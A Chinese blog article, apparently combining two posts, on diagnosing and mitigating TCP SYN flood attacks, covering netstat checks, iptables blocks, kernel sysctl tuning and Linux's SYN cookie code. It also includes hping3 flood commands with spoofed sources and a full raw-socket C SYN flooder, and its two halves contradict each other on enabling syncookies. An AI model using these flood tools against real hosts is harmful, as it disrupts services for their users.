1. SYN Flood介绍

前段时间网站被攻击多次，其中最猛烈的就是TCP洪水攻击，即SYNFlood。

SYNFlood是当前最流行的DoS（拒绝服务攻击）与DDoS（分布式拒绝服务攻击）的方式之一，这是一种利用TCP协议缺陷，发送大量伪造的TCP连接请求，常用假冒的IP或IP号段发来海量的请求连接的第一个握手包（SYN包），被攻击服务器回应第二个握手包（SYN+ACK包），因为对方是假冒IP，对方永远收不到包且不会回应第三个握手包。导致被攻击服务器保持大量SYN_RECV状态的“半连接”，并且会重试默认5次回应第二个握手包，塞满TCP等待连接队列，资源耗尽（CPU满负荷或内存不足），让正常的业务请求连接不进来。

详细的原理，网上有很多介绍，应对办法也很多，但大部分没什么效果，这里介绍我们是如何诊断和应对的。

2.诊断

我们看到业务曲线大跌时，检查机器和DNS，发现只是对外的web机响应慢、CPU负载高、ssh登陆慢甚至有些机器登陆不上，检查系统syslog：

#tail-f/var/log/messages
Apr1811:21:56web5kernel:possibleSYNfloodingonport80.Sendingcookies.

检查连接数增多，并且SYN_RECV连接特别多：
#netstat-n|awk'/^tcp/{++S[$NF]}END{for(ainS)printa,S[a]}'
TIME_WAIT16855
CLOSE_WAIT21
SYN_SENT99
FIN_WAIT1229
FIN_WAIT2113
ESTABLISHED8358
SYN_RECV48965
CLOSING3
LAST_ACK313

根据经验，正常时检查连接数如下：
#netstat-n|awk'/^tcp/{++S[$NF]}END{for(ainS)printa,S[a]}'
TIME_WAIT42349
CLOSE_WAIT1
SYN_SENT4
FIN_WAIT1298
FIN_WAIT233
ESTABLISHED12775
SYN_RECV259
CLOSING6
LAST_ACK432

以上就是TCP洪水攻击的两大特征。执行netstat-na>指定文件，保留罪证。

3.应急处理

根据netstat查看到的对方IP特征：
#netstat-na|grepSYN_RECV|more

利用iptables临时封掉最大嫌疑攻击的IP或IP号段，例如对方假冒173.*.*.*号段来攻击，短期禁用173.*.*.*这个大号段（要确认小心不要封掉自己的本地IP了！）
#iptables-AINPUT-s173.0.0.0/8-ptcp–dport80-jDROP

再分析刚才保留的罪证，分析业务，用iptables解封正常173.*.*.*号段内正常的ip和子网段。这样应急处理很容易误伤，甚至可能因为封错了导致ssh登陆不了服务器，并不是理想方式。

4.使用F5挡攻击

应急处理毕竟太被动，因为本机房的F5比较空闲，运维利用F5来挡攻击，采用方式：让客户端先和F5三次握手，连接建立之后F5才转发到后端业务服务器。后来被攻击时F5上看到的现象：
1.连接数比平时多了500万，攻击停止后恢复。
2.修改F5上我们业务的VS模式后，F5的CPU消耗比平时多7%，攻击停止后恢复。
3.用F5挡效果明显，后来因攻击无效后，用户很少来攻击了，毕竟攻击也是有成本的。

5.调整系统参数挡攻击

没有F5这种高级且昂贵的设备怎么办？我测试过以下参数组合能明显减小影响，准备以后不用F5抗攻击。

第一个参数tcp_synack_retries=0是关键，表示回应第二个握手包（SYN+ACK包）给客户端IP后，如果收不到第三次握手包（ACK包）后，不进行重试，加快回收“半连接”，不要耗光资源。

不修改这个参数，模拟攻击，10秒后被攻击的80端口即无法服务，机器难以ssh登录；用命令netstat-na|grepSYN_RECV检测“半连接”hold住180秒；

修改这个参数为0，再模拟攻击，持续10分钟后被攻击的80端口都可以服务，响应稍慢些而已，只是ssh有时也登录不上；检测“半连接”只hold住3秒即释放掉。

修改这个参数为0的副作用：网络状况很差时，如果对方没收到第二个握手包，可能连接服务器失败，但对于一般网站，用户刷新一次页面即可。这些可以在高峰期或网络状况不好时tcpdump抓包验证下。

根据以前的抓包经验，这种情况很少，但为了保险起见，可以只在被tcp洪水攻击时临时启用这个参数。

tcp_synack_retries默认为5，表示重发5次，每次等待30~40秒，即“半连接”默认hold住大约180秒。详细解释：

之所以可以把tcp_synack_retries改为0，因为客户端还有tcp_syn_retries参数，默认是5，即使服务器端没有重发SYN+ACK包，客户端也会重发SYN握手包。详细解释：

第二个参数net.ipv4.tcp_max_syn_backlog=200000也重要，具体多少数值受限于内存。

以下配置，第一段参数是最重要的，第二段参数是辅助的，其余参数是其他作用的：
# vi/etc/sysctl.conf

#最关键参数，默认为5，修改为0 表示不要重发

net.ipv4.tcp_synack_retries =0

#半连接队列长度

net.ipv4.tcp_max_syn_backlog =200000

#系统允许的文件句柄的最大数目，因为连接需要占用文件句柄

fs.file-max = 819200

#用来应对突发的大并发connect 请求

net.core.somaxconn = 65536

#最大的TCP 数据接收缓冲（字节）

net.core.rmem_max =1024123000

#最大的TCP数据发送缓冲（字节）

net.core.wmem_max = 16777216

#网络设备接收数据包的速率比内核处理这些包的速率快时，允许送到队列的数据包的最大数目

net.core.netdev_max_backlog =165536

#本机主动连接其他机器时的端口分配范围

net.ipv4.ip_local_port_range = 1000065535

使配置生效：
# sysctl-p

注意，以下参数面对外网时，不要打开。因为副作用很明显，具体原因请google，如果已打开请显式改为0，然后执行sysctl-p关闭。因为经过试验，大量TIME_WAIT状态的连接对系统没太大影响：

#当出现 半连接 队列溢出时向对方发送syncookies，调大 半连接队列后没必要

net.ipv4.tcp_syncookies = 0

#TIME_WAIT状态的连接重用功能

net.ipv4.tcp_tw_reuse = 0

#时间戳选项，与前面net.ipv4.tcp_tw_reuse参数配合

net.ipv4.tcp_timestamps = 0

#TIME_WAIT状态的连接回收功能

net.ipv4.tcp_tw_recycle = 0

为了处理大量连接，还需改大另一个参数：
#vi/etc/security/limits.conf

在底下添加一行表示允许每个用户都最大可打开409600个文件句柄（包括连接）：
*–nofile409600

6.参考资料

文件句柄不要超过系统限制/usr/include/linux/fs.h，相关链接： http://blog.yufeng.info/archives/1380
#defineNR_OPEN(1024*1024)

内核参数详细解释：http://www.frozentux.net/ipsysctl-tutorial/chunkyhtml/tcpvariables.html

简介

TCP协议要经过三次握手才能建立连接：

(from wiki)

于是出现了对于握手过程进行的攻击。攻击者发送大量的FIN包，服务器回应(SYN+ACK)包，但是攻击者不回应ACK包，这样的话，服务器不知道(SYN+ACK)是否发送成功，默认情况下会重试5次（tcp_syn_retries）。这样的话，对于服务器的内存，带宽都有很大的消耗。攻击者如果处于公网，可以伪造IP的话，对于服务器就很难根据IP来判断攻击者，给防护带来很大的困难。

攻与防

攻击者角度

从攻击者的角度来看，有两个地方可以提高服务器防御的难度的：

变换端口很容易做到，攻击者可以使用任意端口。

攻击者如果是只有内网IP，是没办法伪造IP的，因为伪造的SYN包会被路由抛弃。攻击者如果是有公网IP，则有可能伪造IP，发出SYN包。（TODO，待更多验证）

hping3

hping3是一个很有名的网络安全工具，使用它可以很容易构造各种协议包。

用下面的命令可以很容易就发起SYN攻击：

1. sudohping3--flood-S-p9999x.x.x.x
2. #randomsourceaddress
3. sudohping3--flood-S--rand-source-p9999x.x.x.x

--flood 是不间断发包的意思

-S 是SYN包的意思

更多的选项，可以man hping3 查看文档，有详细的说明。

如果是条件允许，可以伪造IP地址的话，可以用--rand-source参数来伪造。

我在实际测试的过程中，可以伪造IP，也可以发送出去，但是服务器没有回应，从本地路由器的统计数据可以看出是路由器把包给丢弃掉了。

我用两个美国的主机来测试，使用

sudo hping3 --flood -S -p 9999x.x.x.x

发现，实际上攻击效果有限，只有网络使用上涨了，服务器的cpu，内存使用都没有什么变化：

为什么会这样呢？下面再解析。

防御者角度

当可能遇到SYN flood攻击时，syslog，/var/log/syslog里可能会出现下面的日志：

1. kernel:[3649830.269068]TCP:PossibleSYNfloodingonport9999.Sendingcookies.CheckSNMPcounters.

这个也有可能是SNMP协议误报，下面再解析。

从防御者的角度来看，主要有以下的措施：

linux内核参数调优主要有下面三个：

tcp_max_syn_backlog

从字面上就可以推断出是什么意思。在内核里有个队列用来存放还没有确认ACK的客户端请求，当等待的请求数大于tcp_max_syn_backlog时，后面的会被丢弃。

所以，适当增大这个值，可以在压力大的时候提高握手的成功率。手册里推荐大于1024。

tcp_synack_retries

这个是三次握手中，服务器回应ACK给客户端里，重试的次数。默认是5。显然攻击者是不会完成整个三次握手的，因此服务器在发出的ACK包在没有回应的情况下，会重试发送。当发送者是伪造IP时，服务器的ACK回应自然是无效的。

为了防止服务器做这种无用功，可以把tcp_synack_retries设置为0或者1。因为对于正常的客户端，如果它接收不到服务器回应的ACK包，它会再次发送SYN包，客户端还是能正常连接的，只是可能在某些情况下建立连接的速度变慢了一点。

tcp_syncookies

根据man tcp手册，tcp_syncookies是这样解析的：

tcp_syncookies (Boolean; since Linux 2.2)
Enable TCP syncookies. Thekernel must be compiled with CONFIG_SYN_COOKIES.Send out syncookies whenthe
syn backlogqueue of asocket overflows. The syncookies feature attemptsto protect a socket from a SYN
flood attack. This should beused as a last resort, if at all. This is aviolation of the TCPprotocol,
and conflicts with other areas of TCP such asTCP extensions. It can cause problems for clientsand relays.
It is not recommended as a tuning mechanism forheavily loaded servers to help with overloaded or misconfig‐
ured conditions. For recommended alternatives seetcp_max_syn_backlog,tcp_synack_retries, and
tcp_abort_on_overflow.

当半连接的请求数量超过了tcp_max_syn_backlog时，内核就会启用SYNcookie机制，不再把半连接请求放到队列里，而是用SYN cookie来检验。

手册上只给出了模糊的说明，具体的实现没有提到。

linux下SYN cookie的实现

查看了linux的代码（https://github.com/torvalds/linux/blob/master/net/ipv4/syncookies.c）后，发现linux的实现并不是像wiki上

SYN cookie是非常巧妙地利用了TCP规范来绕过了TCP连接建立过程的验证过程，从而让服务器的负载可以大大降低。

在三次握手中，当服务器回应（SYN + ACK）包后，客户端要回应一个n +1的ACK到服务器。其中n是服务器自己指定的。当启用tcp_syncookies时，linux内核生成一个特定的n值，而不并把客户的连接放到半连接的队列里（即没有存储任何关于这个连接的信息）。当客户端提交第三次握手的ACK包时，linux内核取出n值，进行校验，如果通过，则认为这个是一个合法的连接。

n即ISN（initial sequencenumber），是一个无符号的32位整数，那么linux内核是如何把信息记录到这有限的32位里，并完成校验的？

首先，TCP连接建立时，双方要协商好MSS（Maximum segmentsize），服务器要把客户端在ACK包里发过来的MSS值记录下来。

另外，因为服务器没有记录ACK包的任何信息，实际上是绕过了正常的TCP握手的过程，服务器只能靠客户端的第三次握手发过来的ACK包来验证，所以必须要有一个可靠的校验算法，防止攻击者伪造ACK，劫持会话。

linux是这样实现的：

1. 在服务器上有一个60秒的计时器，即每隔60秒，count加一；

2. MSS是这样子保存起来的，用一个硬编码的数组，保存起一些MSS值：

1. static__u16constmsstab[]={
2. 536,
3. 1300,
4. 1440,
5. 1460,
6. };

比较客户发过来的mms，取一个比客户发过来的值还要小的mms。算法很简单：

2. u32__cookie_v4_init_sequence(conststructiphdr*iph,conststructtcphdr*th,
3. u16*mssp)
4. {
5. intmssind;
6. const__u16mss=*mssp;
8. for(mssind=ARRAY_SIZE(msstab)-1;mssind;mssind--)
9. if(mss>=msstab[mssind])
10. break;
11. *mssp=msstab[mssind];
13. returnsecure_tcp_syn_cookie(iph->saddr,iph->daddr,
14. th->source,th->dest,ntohl(th->seq),
15. mssind);
16. }

比较客户发过来的mms，取一个比客户发过来的值还要小的mms。

真正的算法在这个函数里：

1. static__u32secure_tcp_syn_cookie(__be32saddr,__be32daddr,__be16sport,
2. __be16dport,__u32sseq,__u32data)
3. {
5. u32count=tcp_cookie_time();
6. return(cookie_hash(saddr,daddr,sport,dport,0,0)+
7. sseq+(count<<COOKIEBITS)+
8. ((cookie_hash(saddr,daddr,sport,dport,count,1)+data)
9. &COOKIEMASK));
10. }

data实际上是mss的值对应的数组下标，count是每一分钟会加1，sseq是客户端发过来的sequence。

这样经过hash和一些加法，得到了一个ISN值，其中里记录了这个连接合适的MSS值。

当接收到客户端发过来的第三次握手的ACK包时，反向检查即可：

2. int__cookie_v4_check(conststructiphdr*iph,conststructtcphdr*th,
3. u32cookie)
4. {
5. __u32seq=ntohl(th->seq)-1;
6. __u32mssind=check_tcp_syn_cookie(cookie,iph->saddr,iph->daddr,
7. th->source,th->dest,seq);
10. returnmssind<ARRAY_SIZE(msstab)?msstab[mssind]:0;
11. }

先得到原来的seq，再调用check_tcp_syn_cookie函数：

2. static__u32check_tcp_syn_cookie(__u32cookie,__be32saddr,__be32daddr,
3. __be16sport,__be16dport,__u32sseq)
4. {
5. u32diff,count=tcp_cookie_time();
9. cookie-=cookie_hash(saddr,daddr,sport,dport,0,0)+sseq;
13. diff=(count-(cookie>>COOKIEBITS))&((__u32)-1>>COOKIEBITS);
14. if(diff>=MAX_SYNCOOKIE_AGE)
15. return(__u32)-1;
18. return(cookie-
19. cookie_hash(saddr,daddr,sport,dport,count-diff,1))
20. &COOKIEMASK;
21. }

先减去之前的一些值，第一个hash和sseq。然后计算现在的count（每60秒加1的计数器）和之前的发给客户端，然后客户端返回过来的count的差：
如果大于MAX_SYNCOOKIE_AGE，即2，即2分钟。则说明已经超时了。
否则，计算得出之前放进去的mss。这样内核就认为这个是一个合法的TCP连接，并且得到了一个合适的mss值，这样就建立起了一个合法的TCP连接。
可以看到SYN cookie机制十分巧妙地不用任何存储，以略消耗CPU实现了对第三次握手的校验。

但是有得必有失，ISN里只存储了MSS值，因此，其它的TCP Option都不会生效，这就是为什么SNMP协议会误报的原因了。

更强大的攻击者

SYN cookie虽然十分巧妙，但是也给攻击者带了新的攻击思路。

因为SYN cookie机制不是正常的TCP三次握手。因此攻击者可以构造一个第三次握手的ACK包，从而劫持会话。

攻击者的思路很简单，通过暴力发送大量的伪造的第三次握手的ACK包，因为ISN只有32位，攻击者只要发送全部的ISN数据ACK包，总会有一个可以通过服务器端的校验。

有的人就会问了，即使攻击者成功通过了服务器的检验，它还是没有办法和服务器正常通讯啊，因为服务器回应的包都不会发给攻击者。

刚开始时，我也有这个疑问，但是TCP允许在第三次握手的ACK包里带上后面请求的数据，这样可以加快数据的传输。所以，比如一个http服务器，攻击者可以通过在第三次握手的ACK包里带上httpget/post请求，从而完成攻击。

所以对于服务器而言，不能只是依靠IP来校验合法的请求，还要通过其它的一些方法来加强校验。比如CSRF等。

值得提醒的是即使是正常的TCP三次握手过程，攻击者还是可以进行会话劫持的，只是概率比SYNcookie的情况下要小很多。

详细的攻击说明：http://www.91ri.org/7075.html

一个用rawsocket SYN flood攻击的代码

下面给出一个tcp syn flood的攻击的代码：

1. #include
2. #include
3. #include
4. #include
5. #include
6. #include
7. #include
8. #include
9. #include
10. #include
11. #include
13. #pragmapack(1)
14. structpseudo_header//neededforchecksumcalculation
15. {
16. unsignedintsource_address;
17. unsignedintdest_address;
18. unsignedcharplaceholder;
19. unsignedcharprotocol;
20. unsignedshorttcp_length;
22. structtcphdrtcp;
23. };
24. #pragmapack()
26. unsignedshortcsum(unsignedshort*ptr,intnbytes){
27. "white-space:pre">longsum;
28. "white-space:pre">unsignedshortoddbyte;
29. "white-space:pre">shortanswer;
32. "white-space:pre">sum=0;
33. "white-space:pre">while(nbytes>1){
34. "white-space:pre">sum+=*ptr++;
35. "white-space:pre">nbytes-=2;
36. "white-space:pre">}
37. "white-space:pre">if(nbytes==1){
38. "white-space:pre">oddbyte=0;
39. "white-space:pre">*((u_char*)&oddbyte)=*(u_char*)ptr;
40. "white-space:pre">sum+=oddbyte;
41. "white-space:pre">}
43. "white-space:pre">sum=(sum>>16)+(sum&0xffff);
44. "white-space:pre">sum=sum+(sum>>16);
45. "white-space:pre">answer=(short)~sum;
48. "white-space:pre">return(answer);
49. }
51. voidoneSyn(intsocketfd,in_addr_tsource,u_int16_tsourcePort,
52. in_addr_tdestination,u_int16_tdestinationPort){
53. staticcharsendBuf[sizeof(iphdr)+sizeof(tcphdr)]={0};
54. bzero(sendBuf,sizeof(sendBuf));
56. structiphdr*ipHeader=(iphdr*)sendBuf;
57. structtcphdr*tcph=(tcphdr*)(sendBuf+sizeof(iphdr));
59. ipHeader->version=4;
60. ipHeader->ihl=5;
62. ipHeader->tos=0;
63. ipHeader->tot_len=htons(sizeof(sendBuf));
65. ipHeader->id=htons(1);
66. ipHeader->frag_off=0;
67. ipHeader->ttl=254;
68. ipHeader->protocol=IPPROTO_TCP;
69. ipHeader->check=0;
70. ipHeader->saddr=source;
71. ipHeader->daddr=destination;
73. ipHeader->check=csum((unsignedshort*)ipHeader,ipHeader->ihl*2);
75. //TCPHeader
76. tcph->source=htons(sourcePort);
77. tcph->dest=htons(destinationPort);
78. tcph->seq=0;
79. tcph->ack_seq=0;
80. tcph->doff=5;//sizeof(tcphdr)/4
81. tcph->fin=0;
82. tcph->syn=1;
83. tcph->rst=0;
84. tcph->psh=0;
85. tcph->ack=0;
86. tcph->urg=0;
87. tcph->window=htons(512);
88. tcph->check=0;
89. tcph->urg_ptr=0;
91. //tcpheaderchecksum
92. structpseudo_headerpseudoHeader;
93. pseudoHeader.source_address=source;
94. pseudoHeader.dest_address=destination;
95. pseudoHeader.placeholder=0;
96. pseudoHeader.protocol=IPPROTO_TCP;
97. pseudoHeader.tcp_length=htons(sizeof(tcphdr));
98. memcpy(&pseudoHeader.tcp,tcph,sizeof(structtcphdr));
100. tcph->check=csum((unsignedshort*)&pseudoHeader,sizeof(pseudo_header));
102. structsockaddr_insin;
103. sin.sin_family=AF_INET;
104. sin.sin_port=htons(sourcePort);
105. sin.sin_addr.s_addr=destination;
107. ssize_tsentLen=sendto(socketfd,sendBuf,sizeof(sendBuf),0,
108. (structsockaddr*)&sin,sizeof(sin));
109. if(sentLen==-1){
110. perror("senterror");
111. }
112. }
114. intmain(void){
115. //forsetsockopt
116. intoptval=1;
118. //createarawsocket
119. intsocketfd=socket(PF_INET,SOCK_RAW,IPPROTO_TCP);
120. if(socketfd==-1){
121. perror("createsocket:");
122. exit(0);
123. }
124. if(setsockopt(socketfd,IPPROTO_IP,IP_HDRINCL,&optval,sizeof(optval))
125. <0){
126. perror("createsocket:");
127. exit(0);
128. }
130. in_addr_tsource=inet_addr("192.168.1.100");
131. in_addr_tdestination=inet_addr("192.168.1.101");
132. u_int16_tsourcePort=1;
133. u_int16_tdestinationPort=9999;
134. while(1){
135. oneSyn(socketfd,source,sourcePort++,destination,
136. destinationPort);
137. sourcePort%=65535;
138. sleep(1);
139. }
141. return0;
142. }

总结：

对于SYN flood攻击，调整下面三个参数就可以防范绝大部分的攻击了。

貌似现在的内核默认都是开启tcp_syncookies的。

参考：

http://www.redhat.com/archives/rhl-devel-list/2005-January/msg00447.html

man tcp

http://nixcraft.com/showthread.php/16864-Linux-Howto-test-and-stop-syn-flood-attacks

http://en.wikipedia.org/wiki/SYN_cookies

https://github.com/torvalds/linux/blob/master/net/ipv4/syncookies.c

http://www.91ri.org/7075.html

爱华网本文地址 » http://www.413yy.cn/a/25101010/30971.html